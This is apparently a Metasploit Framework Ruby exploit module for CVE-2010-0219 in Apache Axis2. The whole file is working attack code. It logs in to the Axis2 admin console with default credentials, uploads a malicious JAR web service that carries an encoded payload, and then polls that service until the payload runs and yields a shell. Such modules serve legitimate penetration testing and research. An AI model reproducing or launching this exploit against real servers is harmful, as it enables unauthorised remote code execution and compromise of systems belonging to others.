## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit Rank = ExcellentRanking HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] } include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Axis2 Authenticated Code Execution (via REST)', 'Version' => '$Revision$', 'Description' => %q{ This module logs in to an Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using REST. }, 'References' => [ # General [ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ], [ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ], [ 'CVE', '2010-0219' ], ], 'Platform' => [ 'java', 'win', 'linux' ], # others? 'Targets' => [ [ 'Java', { 'Arch' => ARCH_JAVA, 'Platform' => 'java' }, ], # # Platform specific targets only # [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' }, ], [ 'Linux X86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }, ], ], 'Author' => [ 'Joshua Abraham ' ], 'License' => MSF_LICENSE )) register_options( [ Opt::RPORT(8080), OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]), OptString.new('PATH', [ true, "The URI path of the axis2 app", '/axis2']) ], self.class) register_autofilter_ports([ 8080 ]) end def upload_exec(session) contents='' name = Rex::Text.rand_text_alpha(8) services_xml = %Q{ #{Rex::Text.rand_text_alphanumeric(50 + rand(50))} metasploit.PayloadServlet } if target.name =~ /Java/ zip = payload.encoded_jar zip.add_file("META-INF/services.xml", services_xml) # We need this class as a wrapper to run in a thread. For some reason # the Payload class is giving illegal access exceptions without it. path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class") fd = File.open(path, "rb") servlet = fd.read(fd.stat.size) fd.close zip.add_file("metasploit/PayloadServlet.class", servlet) contents = zip.pack else end boundary = rand_text_alphanumeric(6) data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; " data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n" data << contents data << "\r\n--#{boundary}--" res = send_request_raw({ 'uri' => "/#{datastore['PATH']}/axis2-admin/upload", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=' + boundary, 'Content-Length' => data.length, 'Cookie' => "JSESSIONID=#{session}", } }, 25) if (res and res.code == 200) print_status("Successfully uploaded") else print_error("Error uploading #{res}") return end =begin res = send_request_raw({ 'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session}", } }, 25) puts res.body puts res.code if res.code > 200 and res.code < 300 if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) ) dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\" puts dir else if ( a.scan(/catalina\.home<\/th>(.*) <\/td>/i) ) dir = $1 + "/webapps/dswsbobje/WEB-INF/services/" puts dir end end end =end print_status("Polling to see if the service is ready") # Try to execute the payload 1.upto 5 do Rex::ThreadSafe.sleep(3) res = send_request_raw({ 'uri' => "/#{datastore['PATH']}/services/#{name}/run", 'method' => 'GET', 'headers' => { 'Cookie' => "JSESSIONID=#{session}", } }, 25) if res.code >= 200 and res.code < 300 # This should usually mean we got a shell break end end end def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] path = datastore['PATH'] success = false srvhdr = '?' begin res = send_request_cgi( { 'method' => 'POST', 'uri' => "/#{path}/axis2-admin/login", 'ctype' => 'application/x-www-form-urlencoded', 'data' => "userName=#{user}&password=#{pass}&submit=+Login+", }, 25) if not (res.kind_of? Rex::Proto::Http::Response) raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding") end if res.code == 404 raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404") end srvhdr = res.headers['Server'] if res.code == 200 # Could go with res.headers["Server"] =~ /Apache-Coyote/i # as well but that seems like an element someone's more # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) session = $1 end end rescue ::Rex::ConnectionError print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication") end if success print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'") upload_exec(session) else print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'") end end end